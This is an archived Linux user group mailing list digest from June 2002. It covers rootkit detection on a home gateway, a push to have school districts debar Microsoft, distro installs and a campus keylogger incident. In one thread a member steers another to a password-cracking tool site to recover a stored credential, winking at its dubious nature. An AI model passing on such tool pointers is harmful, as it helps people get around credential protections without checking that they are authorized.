loopback address > to emulate a 'network' setting for Apache, my > computer and the browswer. Is this > possible? > > 3. If not possible, am i stuck to learn Samba and need > a 'true' client/server environment > with a server and a workstation to develop .jsp > pages? > > I plan to use Apache, Jakarta Tomcat and MySQL for > testing and learning. > I'm currently using Redhat 7.2 and KDE as a desktop > environment. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:51:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 19 Jun 2002 09:51:23 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <200206190951.32365.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 19 June 2002 07:59 am, Matt Alexander wrote: > It's possible that the "lsof" command wasn't trojaned, since most root > kits don't check for it. Try "lsof -ni" and see if there's any > difference between "netstat -lp". If so, copy over a new "ps" and "ls" > and "netstat" from another machine that you know hasn't been compromised > (a fresh install is best, and make sure it's the same arch/distro). If > lsof shows an unusual port, check to see what program is running in the > far left column. Locate that program and run "strings" on it to get more > info. This should get you started. Keep us updated on what you find. I see a lot of advice on modified programs, but it may be worse than that. There was a presentation at DefCon last year where a kernel module was introduced that hid connections, files, processes, itself, and whatever else you chose. Of course you could replace any binaries with those you wanted, but programs like Tripwire won't detect any change in files. Thus, unless you logged on as a special user (which didn't exist, by the way), then you could be clueless. Fortunately, if you install this kernel module yourself, then it can defeat any of the other installations. The name of this system was KIS: Kernel Intrusion System, but I can't seem to find their homepage. Your best bet to see if this is the case would be to portscan yourself and run netstat (probably a clean copy, but it doesn't have to be). If there is a discrepency between the two reports, I would consider it a very real possibility. The cure should be simple: replace /sbin/init with a clean copy. Good luck! - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ELaPpNoctRtUIRQRAmocAJ4rNa4j6jOJvI4c9ojtNmx5p9Th6ACfbE3+ Yo45pLHsIUZKXEy8czpdUYs= =+nPQ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:57:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 19 Jun 2002 09:57:41 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020619093307.024ec210@localhost> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <02061909574107.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 IMHO, which is decidedly non-legal, I think that debarment proceedings are neither civil nor criminal, but rather a violation of procurement rules. I could be wrong, but if my reading of the procurement rules is accurate, MS could be debarred from contracting with the state, its departments, its school districts, and its cities and municipalities. On Wednesday 19 June 2002 09:34, you wrote: > Would this be civil? > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >According to the state administrative rules, it looks like most if not all > > of the school districts could be required to initiate debarment > > proceedings against MS. Anyone know an attorney who is willing to take > > something like this on pro-bono? > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > Here is the response I received from David Cantelme, Deer Valley school > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > his email address. It sounds to me that all the school districts and > > > the state itself should be starting debarment proceedings against MS. > > > We need to start contacting the legislators, Attorney General's office > > > and your local school superintendents. > > > > > > > > > ----- Original Message ----- > > > From: "david cantelme" > > > To: "Tom Achtenberg" > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > Dear Mr. Actenburg: > > > > > > They do not, but similar rules found in the state > > > school district procurement rules do apply. Both sets > > > of rules have their origen in the state procurement > > > code. You can find the school district procurement > > > rules by going to the secretary of state web site. > > > Click on administrative rules. Go to title seven. > > > Then scroll down to R7-2-1001. That's where the rules > > > begin. They continue to about R7-2-1175. > > > > > > Debarment procedures do exist in the school district > > > procurement rules. You would need to address your > > > comments on debarment to the adminsitration. That's > > > who would initiate the procedure. If the > > > administration initiates a debarment procedure, the > > > board determines whether to appoint a hearing officer. > > > It goes from there to the officer with appropriate > > > due process to the contractor. The board itself has > > > no involvement in the hearing process. The officer > > > must be independent to ensure a fair hearing under our > > > constitutional system. > > > > > > --- Tom Achtenberg wrote: > > > > I was wondering if the Maricopa County purchasing > > > > policies listed below apply > > > > to DVUSD purchasing pprocedures? > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > MC1-101 DEFINITIONS > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > with a County > > > > Governmental unit. For purposes of Article 5, > > > > Contractor may also mean > > > > Respondent as defined in this Article. > > > > 36."DEBARMENT" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 to prohibit a Person from > > > > Participating in > > > > Maricopa County Procurements. > > > > 80."PERSON" means any corporation, Business, > > > > individual, union, > > > > committee, club, other organization or group of > > > > individuals. > > > > 113."SUSPENSION" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 temporarily disqualifying a > > > > Person from > > > > participating in Maricopa County Procurements. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > This is important > > > > below.] > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > All Specifications shall seek to promote overall > > > > economy for the purpose > > > > intended and encourage competition in satisfying > > > > Maricopa County's needs > > > > and shall not be unduly restrictive. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > [Is there any technology that is Microsoft > > > > exclusive? I believe there > > > > are sites that explain how to replace Exchange > > > > Server completely using > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > with mySQL or PostgreSQL; > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > Office suite is > > > > replaceable with the very comparable Open Office > > > > suite.] > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > B. The causes for Debarment or Suspension shall > > > > include, but are not > > > > limited to, the following: > > > > 2. Conviction of any Person or any subsidiary or > > > > affiliate of any Person > > > > under any statute of the Federal government, this > > > > State or its political > > > > subdivision or any other State for: > > > > k. Any other offense indicating a lack of business > > > > integrity or business > > > > honesty which affects responsibility as a > > > > Contractor. > > > > 3. Conviction or civil judgment finding a violation > > > > by any Person or any > > > > subsidiary or affiliate of any Person under State or > > > > Federal Antitrust > > > > Statutes. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > been convicted of a > > > > violation of Federal Antitrust Statues, cannot be a > > > > County Contractor. > > > > > > > > There are many alternatives to Microsofts products. > > > > Alternatives that have > > > > broken no laws, Federal or Local, are well supported > > > > and used by many large > > > > governments (Germany, Taiwan, et al). As a > > > > concerned voter in the DVUSD, I > > > > must point out that I cannot support criminal > > > > behavior and would hope that my > > > > Governing Board would see fit to do the same and > > > > ONLY consider alternatives > > > > as Microsoft is clearly unqualified to meet District > > > > requirements. > > > > > > > > Thank You, > > > > > > > > Tom Achtenberg > > > > > > > > PS this message was written ans sent to you using a > > > > computer that is 100% > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > operating system, KDE windows > > > > like desktop and the K-mail email client. All if > > > > these programs come under > > > > the "General Public License" which means they are > > > > 100% free to the public for > > > > personal and commercial use. > > > > -- > > > > Visit the Mountain Ridge Band Site at > > > > > > http://www.mrhsband.org > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > >uqHWgWriXgbXcZvWptly5CtJ > >=tKg8 > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ jvqee9WrnED2XJex6UfhtK/4 =EQ9s -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 17:21:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Wed, 19 Jun 2002 10:21:57 -0700 Subject: Ethical hacking/cracking References: <3D0FBA65.9060506@esaravana.com> <200206181629.36140.zen2now@qwest.net> Message-ID: <3D10BDB5.9070402@esaravana.com> You are a dangerous man. I downloaded an application and it cracked without a hassle. Thanks, Sundar slr wrote: >i didnt say this! > >but check out http://www.blackcode.com/, they several password crackers on >their site. the only thing is you will have to register to download files. > >remember i didnt send you there. :~D > >slr > >On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > >>Hello, >> >>Would you guys know of hacking/cracking the password key stored in >>Windows NT registry by an application? Application in question is 'Funk >>Software Proxy' and it seems to have stored the password in binary form. >> >>(The guy who ghost imaged the system left the company and now we have to >>connect to them.) >> >>Any help is appreciated >> >>Sundar >> >> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:18:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 11:18:14 -0700 (PDT) Subject: Internet access at InstallFest? Message-ID: I can't remember if this was stated already, but will there be Internet access at the InstallFest? I'd like to be able to plug my Linux Terminal Server in and provide my clients with 'net access. Plus, it'll be fun to plug a wireless access point in to some random network jack and hack all the newbie systems from my wireless laptop. Heh. Just kidding. ;-) Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:38:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 14:38:18 -0400 Subject: Internet access at InstallFest? Message-ID: Yes, fast internet access will be available. Alan On Wed, 19 Jun 2002 11:18:14 -0700 (PDT) Matt Alexander wrote: I can't remember if this was stated already, but will there be Internet access at the InstallFest? I'd like to be able to plug my Linux Terminal Server in and provide my clients with 'net access. Plus, it'll be fun to plug a wireless access point in to some random network jack and hack all the newbie systems from my wireless laptop. Heh. Just kidding. ;-) Thanks, ~M ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:54:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 11:54:26 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619134030.37517.qmail@web14008.mail.yahoo.com> References: <20020619134030.37517.qmail@web14008.mail.yahoo.com> Message-ID: <20020619185425.PSTV25007.fed1mtao01.cox.net@there> On Wednesday 19 June 2002 06:40 am, you wrote: > What are the processes that are invisible? Are any of them using a > high/odd port number? IE ssh on port 37337? Any other info you can > provide about this would also be helpful. IE how is your system connected > to the net? ok, heres what I know: ssh doesn't appear to be running any odd port numbers (just the standard issue low port), chkrootkit-.35 would not specifiy which processes were invisible (will have to contact the author on that). as for the system, it is connected to the cablemode and is running an iptables firewall script (a big one) with portsentry and prelude intrusion detection in place and operating. the box in question is my IPMASQ/NAT/FIREWALL/gateway for the rest of the lan. all other machines in the lan check out ok (no infection or intrusion). I've tried manually running ps and readdir and both yielded no results I can use. also, on this mornings run of chkrootkit, those 4 invisible processsses are no longer there (inactive, deactivated, or what I don't know). I have a copy of the log it made if you wish to paruse. > > Also, (curiosity on my part)what are using for a rootkit checker? the one available at www.chkrootkit.org > > scott > Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:57:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 11:57:33 -0700 (MST) Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061908581006.01526@nova.wedge.org> Message-ID: Perhaps this group? http://www.aclpi.org/ Arizona Center for Law in the Public Interest. Though as noted in other messages, this is certainly an administrative procedural issue with each purchasing authority in the state. However, if the various governmental agencies don't at least give the issue a basic review, maybe there would be something that the ACLPI would have an interest in? ------------------------------------------ -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to the state administrative rules, it looks like most if not all of the school districts could be required to initiate debarment proceedings against MS. Anyone know an attorney who is willing to take something like this on pro-bono? On Tuesday 18 June 2002 21:39, you wrote: > Here is the response I received from David Cantelme, Deer Valley school > board member. He is the one who has arizonalawinstitute@yahoo.com as his > email address. It sounds to me that all the school districts and the state > itself should be starting debarment proceedings against MS. We need to > start contacting the legislators, Attorney General's office and your local > school superintendents. > > > ----- Original Message ----- > From: "david cantelme" > To: "Tom Achtenberg" > Sent: Tuesday, June 18, 2002 6:08 AM > Subject: Re: Computer Purchasing Guidelines > > > Dear Mr. Actenburg: > > They do not, but similar rules found in the state > school district procurement rules do apply. Both sets > of rules have their origen in the state procurement > code. You can find the school district procurement > rules by going to the secretary of state web site. > Click on administrative rules. Go to title seven. > Then scroll down to R7-2-1001. That's where the rules > begin. They continue to about R7-2-1175. > > Debarment procedures do exist in the school district > procurement rules. You would need to address your > comments on debarment to the adminsitration. That's > who would initiate the procedure. If the > administration initiates a debarment procedure, the > board determines whether to appoint a hearing officer. > It goes from there to the officer with appropriate > due process to the contractor. The board itself has > no involvement in the hearing process. The officer > must be independent to ensure a fair hearing under our > constitutional system. > > --- Tom Achtenberg wrote: > > I was wondering if the Maricopa County purchasing > > policies listed below apply > > to DVUSD purchasing pprocedures? > > > > Maricopa County policies. Interesting references: > > > > MC1-101 DEFINITIONS > > 25."CONTRACTOR" means any Person who has a Contract > > with a County > > Governmental unit. For purposes of Article 5, > > Contractor may also mean > > Respondent as defined in this Article. > > 36."DEBARMENT" means an action taken by the County > > Administrative > > Officer under MC1-902 to prohibit a Person from > > Participating in > > Maricopa County Procurements. > > 80."PERSON" means any corporation, Business, > > individual, union, > > committee, club, other organization or group of > > individuals. > > 113."SUSPENSION" means an action taken by the County > > Administrative > > Officer under MC1-902 temporarily disqualifying a > > Person from > > participating in Maricopa County Procurements. > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > [Microsoft is considered a Contractor and a Person. > > This is important > > below.] > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > All Specifications shall seek to promote overall > > economy for the purpose > > intended and encourage competition in satisfying > > Maricopa County's needs > > and shall not be unduly restrictive. > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > [Is there any technology that is Microsoft > > exclusive? I believe there > > are sites that explain how to replace Exchange > > Server completely using > > Linux/OSS with Qmail; and SQL Server is replaceable > > with mySQL or PostgreSQL; > > IIS & ASP is replaceable with Apache & PHP, The MS > > Office suite is > > replaceable with the very comparable Open Office > > suite.] > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > B. The causes for Debarment or Suspension shall > > include, but are not > > limited to, the following: > > 2. Conviction of any Person or any subsidiary or > > affiliate of any Person > > under any statute of the Federal government, this > > State or its political > > subdivision or any other State for: > > k. Any other offense indicating a lack of business > > integrity or business > > honesty which affects responsibility as a > > Contractor. > > 3. Conviction or civil judgment finding a violation > > by any Person or any > > subsidiary or affiliate of any Person under State or > > Federal Antitrust > > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > As I read MC1-902.B.3, Microsoft (a Person), having > > been convicted of a > > violation of Federal Antitrust Statues, cannot be a > > County Contractor. > > > > There are many alternatives to Microsofts products. > > Alternatives that have > > broken no laws, Federal or Local, are well supported > > and used by many large > > governments (Germany, Taiwan, et al). As a > > concerned voter in the DVUSD, I > > must point out that I cannot support criminal > > behavior and would hope that my > > Governing Board would see fit to do the same and > > ONLY consider alternatives > > as Microsoft is clearly unqualified to meet District > > requirements. > > > > Thank You, > > > > Tom Achtenberg > > > > PS this message was written ans sent to you using a > > computer that is 100% > > Microsoft free. It uses the Red Hat Linux 7.3 > > operating system, KDE windows > > like desktop and the K-mail email client. All if > > these programs come under > > the "General Public License" which means they are > > 100% free to the public for > > personal and commercial use. > > -- > > Visit the Mountain Ridge Band Site at > > http://www.mrhsband.org > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a uqHWgWriXgbXcZvWptly5CtJ =tKg8 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 12:10:26 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> ok, done all of this (even written them to a text file for later review). so far, I don't see anything unusual. I have a couple of non-standard (installed myself) servers running here (ircd and opennap) and I know which ports those are on. everything else appears to be as normal (including their port assignmanets). I'vew also verified all packages on the "infected" machine and found no discrepencies that wouldn't be accounted for (some conf files were changed, but those I already know about as I was the one that modified them). everything else checks out. as a safety measure when I first found an intruder on my system some weeks back, I changed all passwords, ran chattr +ui on some specified directories (/bin, /sbin, /usr/bin, /usr/bin/X11R6, /usr/sbin) to make sure the files couldn't be modified without my knowing about it (this at the suggestion of tom perry). I checked the package verification against a log of the last time I did so,. which was 4 weeks ago) and noted only minor changes (mostly in some logs and 1 or 2 conf files that I know about). The kernel on this box does not have modules support (not needed as this is a gateway box for my lan and I only needed certain items (such as the devices on board and iptables) compiled in. this was specifically to prevent the introduction of "hijacked" modules. as it is, I was thinking ahead security wise when I placed this unit online. anything else I should be doing? Technomage On Wednesday 19 June 2002 07:59 am, you wrote: > It's possible that the "lsof" command wasn't trojaned, since most root > kits don't check for it. Try "lsof -ni" and see if there's any difference > between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" > from another machine that you know hasn't been compromised (a fresh install > is best, and make sure it's the same arch/distro). If lsof shows an > unusual port, check to see what program is running in the far left column. > Locate that program and run "strings" on it to get more info. This should > get you started. Keep us updated on what you find. > Thanks, > ~M > -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:27:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 19 Jun 2002 12:27:41 -0700 Subject: gentoo 1.2 References: <200206180935.52647.zen2now@qwest.net> <20020618210224.GA27747@aries.evilmascot.com> <200206190901.00430.zen2now@qwest.net> Message-ID: <000d01c217c7$617e40b0$0301010a@tickticker.com> I always start at linuxiso.org and look at their mirrors anthony ----- Original Message ----- From: "slr" To: ; "Kyle O'Malley" Sent: Wednesday, June 19, 2002 9:01 AM Subject: Re: gentoo 1.2 > thanks very much for the info, but after further research on my part i have > decided to give the SUSE 7.3 sparc64 version a try, that is if i can get all > 5 disks before i die! know of a fast mirror? :~D > > slr > > On Tuesday 18 June 2002 02:02 pm, Kyle O'Malley wrote: > > The i686 disk has install stages 1-3 on the disk, they must be refering to > > the fact that if you build and compile starting from stage1 you can have a > > working system on any i386+ while stage3 has everything precompiled but > > only supports i686+. > > > > The last version I needed to install from was 1.1, which only included a > > i386 kernel to install from, I can't see how they'd some how muck install > > kernels for two diff architectures onto one cd (not to mention I doubt the > > el torito boodable cd standardworks on sparc machines). > > > > -Kyle > > > > On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > > > good morning plug, > > > > > > question for you guys familiar with gentoo. i > > > noticed they sell a SPARC version, but i also noticed this statement: > > > > > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from > > > Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will > > > allow a build from scratch for *all* systems, but also has pre-built > > > stuff for i686+ CPUs. > > > > > > the Note states that the i686 will allow a build from scratch on *all* > > > systems, does that include the Ultra Sparc II? i want to try gentoo on my > > > Ultra 5, because i have to many stability issues with MDK 7.1 corp. > > > server and i dont like working with Solaris 8. so gentoo sounds like a > > > great alternative for bringing new life to an over priced desktop. > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:28:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Anderson) Date: Wed, 19 Jun 2002 12:28:21 -0700 (PDT) Subject: ASU computer lab hacked In-Reply-To: Message-ID: <20020619192821.3257.qmail@web12206.mail.yahoo.com> Yes, only key logging was installed and only on a few open public access computers, not administrative computers or servers. Mark Anderson 602.435.7508 CEO- Neowav Internet Solutions, LLC. --- Patrick Fleming EA wrote: > > > My understanding was that key logging software was installed locally. > On Tue, 18 Jun 2002, bob smith wrote: > > > > > --- technomage wrote: > > > well, > > > if anyone didn't catch the 5 PM news, it appears > > > that the ASU computer lab > > > and some of the administration machines were hacked > > > into by someone > > > representing the russian mafia (thats what they said > > > on the news anyway). > > > > > > make take a look for it on www.phoenix360.com or any > > > of the other news > > > statiosn that have web pages. > > > > > > Technomage > > > > > > p. incidently, those machines were apples running a > > > pre-OSX OS > > > > Pre-OSX? OS 9? Any word on what was running on the > > machines that allowed whoever it was to gain access? I > > didn't think any software bundled by apple pre-OSX had > > a remote exploit that could be used? > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list > quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > Patrick Fleming, EA > http://myhdvest.com/patrickfleming > Licensed to represent taxpayers > before Exam, Appeals, and Conference > divisions of the IRS > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly > and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:55:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Brewster) Date: Wed, 19 Jun 2002 12:55:09 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: <20020619195509.4110.qmail@web14008.mail.yahoo.com> --- technomage wrote: > ok, > as a safety measure when I first found an intruder on my system some weeks > back, I changed all passwords, ran chattr +ui on some specified directories Hmm.... the fact that you had an intruder is not a good sign. Even though you changed the passwords, etc, there may have already been someting in place that passed that info back to the intruder. Any idea on how long the intruder had access to your system? Personally, I would cut my loses - print (yes print) any config files that you want to re-implement, wipe the box and re-install from scratch. Or if you have the disk to spare, rebuild the system on a new disk. Once done, mount up the old disk - dont run anything from it - and give it a thorough going over - see if you can figure out what was done to compromise the system. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:00:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 13:00:23 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: You said you found an intruder on your box a few weeks back. Do you know how they got in? On Wed, 19 Jun 2002, technomage wrote: > ok, > done all of this (even written them to a text file for later review). so far, > I don't see anything unusual. I have a couple of non-standard (installed > myself) servers running here (ircd and opennap) and I know which ports those > are on. everything else appears to be as normal (including their port > assignmanets). > > I'vew also verified all packages on the "infected" machine and found no > discrepencies that wouldn't be accounted for (some conf files were changed, > but those I already know about as I was the one that modified them). > everything else checks out. > > as a safety measure when I first found an intruder on my system some weeks > back, I changed all passwords, ran chattr +ui on some specified directories > (/bin, /sbin, /usr/bin, /usr/bin/X11R6, /usr/sbin) to make sure the files > couldn't be modified without my knowing about it (this at the suggestion of > tom perry). I checked the package verification against a log of the last time > I did so,. which was 4 weeks ago) and noted only minor changes (mostly in > some logs and 1 or 2 conf files that I know about). > > The kernel on this box does not have modules support (not needed as this is a > gateway box for my lan and I only needed certain items (such as the devices > on board and iptables) compiled in. this was specifically to prevent the > introduction of "hijacked" modules. > > as it is, I was thinking ahead security wise when I placed this unit online. > > anything else I should be doing? > > Technomage > > On Wednesday 19 June 2002 07:59 am, you wrote: > > It's possible that the "lsof" command wasn't trojaned, since most root > > kits don't check for it. Try "lsof -ni" and see if there's any difference > > between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" > > from another machine that you know hasn't been compromised (a fresh install > > is best, and make sure it's the same arch/distro). If lsof shows an > > unusual port, check to see what program is running in the far left column. > > Locate that program and run "strings" on it to get more info. This should > > get you started. Keep us updated on what you find. > > Thanks, > > ~M > > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:51:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 13:51:06 -0700 Subject: Ethical hacking/cracking In-Reply-To: <3D10BDB5.9070402@esaravana.com> References: <3D0FBA65.9060506@esaravana.com> <200206181629.36140.zen2now@qwest.net> <3D10BDB5.9070402@esaravana.com> Message-ID: <200206191351.06077.zen2now@qwest.net> Who me? just remember i didnt send you there. :~D slr On Wednesday 19 June 2002 10:21 am, Sundar wrote: > You are a dangerous man. I downloaded an application and it cracked > without a hassle. > > Thanks, 